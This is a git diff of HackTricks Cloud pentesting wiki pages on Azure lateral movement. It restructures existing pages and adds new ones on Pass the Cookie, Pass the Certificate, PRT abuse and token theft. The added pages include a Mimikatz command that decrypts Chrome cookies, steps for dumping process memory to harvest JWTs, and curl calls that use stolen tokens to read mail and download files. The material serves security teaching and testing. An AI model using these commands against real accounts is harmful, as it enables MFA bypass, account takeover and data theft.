diff --git a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
similarity index 63%
rename from pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
index 293feeb63..c2278da14 100644
--- a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
@@ -1,19 +1,6 @@
 # Az - Arc vulnerable GPO Deploy Script
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ### Identifying the Issues
 
@@ -79,19 +66,6 @@ At this point, we can gather the remaining information needed to connect to Azur
 
 ## References
 
-* [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/)
+- [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md
new file mode 100644
index 000000000..e77b338ab
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md
@@ -0,0 +1,39 @@
+# Az - Local Cloud Credentials
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Local Token Storage and Security Considerations
+
+### Azure CLI (Command-Line Interface)
+
+Tokens and sensitive data are stored locally by Azure CLI, raising security concerns:
+
+1. **Access Tokens**: Stored in plaintext within `accessTokens.json` located at `C:\Users\<username>\.Azure`.
+2. **Subscription Information**: `azureProfile.json`, in the same directory, holds subscription details.
+3. **Log Files**: The `ErrorRecords` folder within `.azure` might contain logs with exposed credentials, such as:
+   - Executed commands with credentials embedded.
+   - URLs accessed using tokens, potentially revealing sensitive information.
+
+### Azure PowerShell
+
+Azure PowerShell also stores tokens and sensitive data, which can be accessed locally:
+
+1. **Access Tokens**: `TokenCache.dat`, located at `C:\Users\<username>\.Azure`, stores access tokens in plaintext.
+2. **Service Principal Secrets**: These are stored unencrypted in `AzureRmContext.json`.
+3. **Token Saving Feature**: Users have the ability to persist tokens using the `Save-AzContext` command, which should be used cautiously to prevent unauthorized access.
+
+## Automatic Tools to find them
+
+- [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe)
+- [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1)
+
+## Security Recommendations
+
+Considering the storage of sensitive data in plaintext, it's crucial to secure these files and directories by:
+
+- Limiting access rights to these files.
+- Regularly monitoring and auditing these directories for unauthorized access or unexpected changes.
+- Employing encryption for sensitive files where possible.
+- Educating users about the risks and best practices for handling such sensitive information.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md
new file mode 100644
index 000000000..54e834822
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md
@@ -0,0 +1,39 @@
+# Az - Pass the Certificate
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Pass the Certificate (Azure)
+
+In Azure joined machines, it's possible to authenticate from one machine to another using certificates that **must be issued by Azure AD CA** for the required user (as the subject) when both machines support the **NegoEx** authentication mechanism.
+
+In super simplified terms:
+
+- The machine (client) initiating the connection **needs a certificate from Azure AD for a user**.
+- Client creates a JSON Web Token (JWT) header containing PRT and other details, sign it using the Derived key (using the session key and the security context) and **sends it to Azure AD**
+- Azure AD verifies the JWT signature using client session key and security context, checks validity of PRT and **responds** with the **certificate**.
+
+In this scenario and after grabbing all the info needed for a [**Pass the PRT**](pass-the-prt.md) attack:
+
+- Username
+- Tenant ID
+- PRT
+- Security context
+- Derived Key
+
+It's possible to **request P2P certificate** for the user with the tool [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:**
+
+```bash
+RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
+```
+
+The certificates will last the same as the PRT. To use the certificate you can use the python tool [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) that will **authenticate** to the remote machine, run **PSEXEC** and **open a CMD** on the victim machine. This will allow us to use Mimikatz again to get the PRT of another user.
+
+```bash
+Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
+```
+
+## References
+
+- For more details about how Pass the Certificate works check the original post [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
new file mode 100644
index 000000000..bf7c5d0d9
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
@@ -0,0 +1,37 @@
+# Az - Pass the Cookie
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Why Cookies?
+
+Browser **cookies** are a great mechanism to **bypass authentication and MFA**. Because the user has already authenticated in the application, the session **cookie** can just be used to **access data** as that user, without needing to re-authenticate.
+
+You can see where are **browser cookies located** in:
+
+{{#ref}}
+https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts?q=browse#google-chrome
+{{#endref}}
+
+## Attack
+
+The challenging part is that those **cookies are encrypted** for the **user** via the Microsoft Data Protection API (**DPAPI**). This is encrypted using cryptographic [keys tied to the user](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) the cookies belong to. You can find more information about this in:
+
+{{#ref}}
+https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords
+{{#endref}}
+
+With Mimikatz in hand, I am able to **extract a user’s cookies** even though they are encrypted with this command:
+
+```bash
+mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
+```
+
+For Azure, we care about the authentication cookies including **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, and **`ESTSAUTHLIGHT`**. Those are there because the user has been active on Azure lately.
+
+Just navigate to login.microsoftonline.com and add the cookie **`ESTSAUTHPERSISTENT`** (generated by “Stay Signed In” option) or **`ESTSAUTH`**. And you will be authenticated.
+
+## References
+
+- [https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/](https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
new file mode 100644
index 000000000..8b4cc9e15
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
@@ -0,0 +1,7 @@
+# Az - Phishing Primary Refresh Token (Microsoft Entra)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+**Check:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
new file mode 100644
index 000000000..85a1469d3
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
@@ -0,0 +1,7 @@
+# Az - Primary Refresh Token (PRT)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+**Chec the post in** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) although another post explaining the same can be found in [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md
new file mode 100644
index 000000000..0fb52cfb7
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md
@@ -0,0 +1,37 @@
+# Az - Processes Memory Access Token
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## **Basic Information**
+
+As explained in [**this video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), some Microsoft software synchronized with the cloud (Excel, Teams...) might **store access tokens in clear-text in memory**. So just **dumping** the **memory** of the process and **grepping for JWT tokens** might grant you access over several resources of the victim in the cloud bypassing MFA.
+
+Steps:
+
+1. Dump the excel processes synchronized with in EntraID user with your favourite tool.
+2. Run: `string excel.dmp | grep 'eyJ0'` and find several tokens in the output
+3. Find the tokens that interest you the most and run tools over them:
+
+```bash
+# Check the identity of the token
+curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
+
+# Check the email (you need a token authorized in login.microsoftonline.com)
+curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq
+
+# Download a file from Teams
+## You need a token that can access graph.microsoft.com
+## Then, find the <site_id> inside the memory and call
+curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq
+
+## Then, list one drive
+curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
+
+## Finally, download a file from that drive:
+┌──(magichk㉿black-pearl)-[~]
+└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
+```
+
+**Note that these kind of access tokens can be also found inside other processes.**
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md
new file mode 100644
index 000000000..e241d2c05
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md
@@ -0,0 +1,60 @@
+# Az AD Connect - Hybrid Identity
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+Integration between **On-premises Active Directory (AD)** and **Azure AD** is facilitated by **Azure AD Connect**, offering various methods that support **Single Sign-on (SSO)**. Each method, while useful, presents potential security vulnerabilities that could be exploited to compromise cloud or on-premises environments:
+
+- **Pass-Through Authentication (PTA)**:
+  - Possible compromise of the agent on the on-prem AD, allowing validation of user passwords for Azure connections (on-prem to Cloud).
+  - Feasibility of registering a new agent to validate authentications in a new location (Cloud to on-prem).
+
+{{#ref}}
+pta-pass-through-authentication.md
+{{#endref}}
+
+- **Password Hash Sync (PHS)**:
+  - Potential extraction of clear-text passwords of privileged users from the AD, including credentials of a high-privileged, auto-generated AzureAD user.
+
+{{#ref}}
+phs-password-hash-sync.md
+{{#endref}}
+
+- **Federation**:
+  - Theft of the private key used for SAML signing, enabling impersonation of on-prem and cloud identities.
+
+{{#ref}}
+federation.md
+{{#endref}}
+
+- **Seamless SSO:**
+  - Theft of the `AZUREADSSOACC` user's password, used for signing Kerberos silver tickets, allowing impersonation of any cloud user.
+
+{{#ref}}
+seamless-sso.md
+{{#endref}}
+
+- **Cloud Kerberos Trust**:
+  - Possibility of escalating from Global Admin to on-prem Domain Admin by manipulating AzureAD user usernames and SIDs and requesting TGTs from AzureAD.
+
+{{#ref}}
+az-cloud-kerberos-trust.md
+{{#endref}}
+
+- **Default Applications**:
+  - Compromising an Application Administrator account or the on-premise Sync Account allows modification of directory settings, group memberships, user accounts, SharePoint sites, and OneDrive files.
+
+{{#ref}}
+az-default-applications.md
+{{#endref}}
+
+For each integration method, user synchronization is conducted, and an `MSOL_<installationidentifier>` account is created in the on-prem AD. Notably, both **PHS** and **PTA** methods facilitate **Seamless SSO**, enabling automatic sign-in for Azure AD computers joined to the on-prem domain.
+
+To verify the installation of **Azure AD Connect**, the following PowerShell command, utilizing the **AzureADConnectHealthSync** module (installed by default with Azure AD Connect), can be used:
+
+```powershell
+Get-ADSyncConnector
+```
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md
similarity index 59%
rename from pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md
rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md
index 6c0e772f8..9263f6668 100644
--- a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md
@@ -1,21 +1,8 @@
 # Az - Cloud Kerberos Trust
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+{{#include ../../../../banners/hacktricks-training.md}}
 
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-**This post is a summary of** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **which can be checked for further information about the attack. This technique is also commented in** [**https://www.youtube.com/watch?v=AFay\_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.**
+**This post is a summary of** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **which can be checked for further information about the attack. This technique is also commented in** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.**
 
 ## Basic Information
 
@@ -25,9 +12,8 @@ When a trust is stablished with Azure AD, a **Read Only Domain Controller (RODC)
 
 Therefore, if this account is compromised it could be possible to impersonate any user... although this is not true because this account is prevented from creating tickets for any common privileged AD group like Domain Admins, Enterprise Admins, Administrators...
 
-{% hint style="danger" %}
-However, in a real scenario there are going to be privileged users that aren't in those groups. So the **new krbtgt account, if compromised, could be used to impersonate them.**
-{% endhint %}
+> [!CAUTION]
+> However, in a real scenario there are going to be privileged users that aren't in those groups. So the **new krbtgt account, if compromised, could be used to impersonate them.**
 
 ### Kerberos TGT
 
@@ -50,27 +36,14 @@ Note that we can do this with AADInternals and update to synced users via the [S
 
 The success of the attack and attainment of Domain Admin privileges hinge on meeting certain prerequisites:
 
-* The capability to alter accounts via the Synchronization API is crucial. This can be achieved by having the role of Global Admin or possessing an AD Connect sync account. Alternatively, the Hybrid Identity Administrator role would suffice, as it grants the ability to manage AD Connect and establish new sync accounts.
-* Presence of a **hybrid account** is essential. This account must be amenable to modification with the victim account's details and should also be accessible for authentication.
-* Identification of a **target victim account** within Active Directory is a necessity. Although the attack can be executed on any account already synchronized, the Azure AD tenant must not have replicated on-premises security identifiers, necessitating the modification of an unsynchronized account to procure the ticket.
-  * Additionally, this account should possess domain admin equivalent privileges but must not be a member of typical AD administrator groups to avoid the generation of invalid TGTs by the AzureAD RODC.
-  * The most suitable target is the **Active Directory account utilized by the AD Connect Sync service**. This account is not synchronized with Azure AD, leaving its SID as a viable target, and it inherently holds Domain Admin equivalent privileges due to its role in synchronizing password hashes (assuming Password Hash Sync is active). For domains with express installation, this account is prefixed with **MSOL\_**. For other instances, the account can be pinpointed by enumerating all accounts endowed with Directory Replication privileges on the domain object.
+- The capability to alter accounts via the Synchronization API is crucial. This can be achieved by having the role of Global Admin or possessing an AD Connect sync account. Alternatively, the Hybrid Identity Administrator role would suffice, as it grants the ability to manage AD Connect and establish new sync accounts.
+- Presence of a **hybrid account** is essential. This account must be amenable to modification with the victim account's details and should also be accessible for authentication.
+- Identification of a **target victim account** within Active Directory is a necessity. Although the attack can be executed on any account already synchronized, the Azure AD tenant must not have replicated on-premises security identifiers, necessitating the modification of an unsynchronized account to procure the ticket.
+  - Additionally, this account should possess domain admin equivalent privileges but must not be a member of typical AD administrator groups to avoid the generation of invalid TGTs by the AzureAD RODC.
+  - The most suitable target is the **Active Directory account utilized by the AD Connect Sync service**. This account is not synchronized with Azure AD, leaving its SID as a viable target, and it inherently holds Domain Admin equivalent privileges due to its role in synchronizing password hashes (assuming Password Hash Sync is active). For domains with express installation, this account is prefixed with **MSOL\_**. For other instances, the account can be pinpointed by enumerating all accounts endowed with Directory Replication privileges on the domain object.
 
 ### The full attack <a href="#the-full-attack" id="the-full-attack"></a>
 
 Check it in the original post: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md
new file mode 100644
index 000000000..92176611d
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md
@@ -0,0 +1,9 @@
+# Az - Default Applications
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+**Check the techinque in:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) and [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8)
+
+The blog post discusses a privilege escalation vulnerability in Azure AD, allowing Application Admins or compromised On-Premise Sync Accounts to escalate privileges by assigning credentials to applications. The vulnerability, stemming from the "by-design" behavior of Azure AD's handling of applications and service principals, notably affects default Office 365 applications. Although reported, the issue is not considered a vulnerability by Microsoft due to documentation of the admin rights assignment behavior. The post provides detailed technical insights and advises regular reviews of service principal credentials in Azure AD environments. For more detailed information, you can visit the original blog post.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md
new file mode 100644
index 000000000..512fb6dad
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md
@@ -0,0 +1,32 @@
+# Az- Synchronising New Users
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Syncing AzureAD users to on-prem to escalate from on-prem to AzureAD
+
+I order to synchronize a new user f**rom AzureAD to the on-prem AD** these are the requirements:
+
+- The **AzureAD user** needs to have a proxy address (a **mailbox**)
+- License is not required
+- Should **not be already synced**
+
+```powershell
+Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
+```
+
+When a user like these is found in AzureAD, in order to **access it from the on-prem AD** you just need to **create a new account** with the **proxyAddress** the SMTP email.
+
+An automatically, this user will be **synced from AzureAD to the on-prem AD user**.
+
+> [!CAUTION]
+> Notice that to perform this attack you **don't need Domain Admin**, you just need permissions to **create new users**.
+>
+> Also, this **won't bypass MFA**.
+>
+> Moreover, this was reported an **account sync is no longer possible for admin accounts**.
+
+## References
+
+- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
similarity index 66%
rename from pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
index caf83bbd1..8ab63e3a1 100644
--- a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
@@ -1,19 +1,6 @@
 # Az - Federation
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -21,7 +8,7 @@ Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1
 
 You can **federate your on-premises** environment **with Azure AD** and use this federation for authentication and authorization. This sign-in method ensures that all user **authentication occurs on-premises**. This method allows administrators to implement more rigorous levels of access control. Federation with **AD FS** and PingFederate is available.
 
-<figure><img src="../../../../.gitbook/assets/image (154).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
 
 Bsiacally, in Federation, all **authentication** occurs in the **on-prem** environment and the user experiences SSO across all the trusted environments. Therefore, users can **access** **cloud** applications by using their **on-prem credentials**.
 
@@ -29,13 +16,13 @@ Bsiacally, in Federation, all **authentication** occurs in the **on-prem** envir
 
 In any federation setup there are three parties:
 
-* User or Client
-* Identity Provider (IdP)
-* Service Provider (SP)
+- User or Client
+- Identity Provider (IdP)
+- Service Provider (SP)
 
 (Images from https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
 
-<figure><img src="../../../../.gitbook/assets/image (121).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../images/image (121).png" alt=""><figcaption></figcaption></figure>
 
 1. Initially, an application (Service Provider or SP, such as AWS console or vSphere web client) is accessed by a user. This step might be bypassed, leading the client directly to the IdP (Identity Provider) depending on the specific implementation.
 2. Subsequently, the SP identifies the appropriate IdP (e.g., AD FS, Okta) for user authentication. It then crafts a SAML (Security Assertion Markup Language) AuthnRequest and reroutes the client to the chosen IdP.
@@ -44,24 +31,26 @@ In any federation setup there are three parties:
 
 **If you want to learn more about SAML authentication and common attacks go to:**
 
-{% embed url="https://book.hacktricks.xyz/pentesting-web/saml-attacks" %}
+{{#ref}}
+https://book.hacktricks.xyz/pentesting-web/saml-attacks
+{{#endref}}
 
 ## Pivoting
 
-* AD FS is a claims-based identity model.
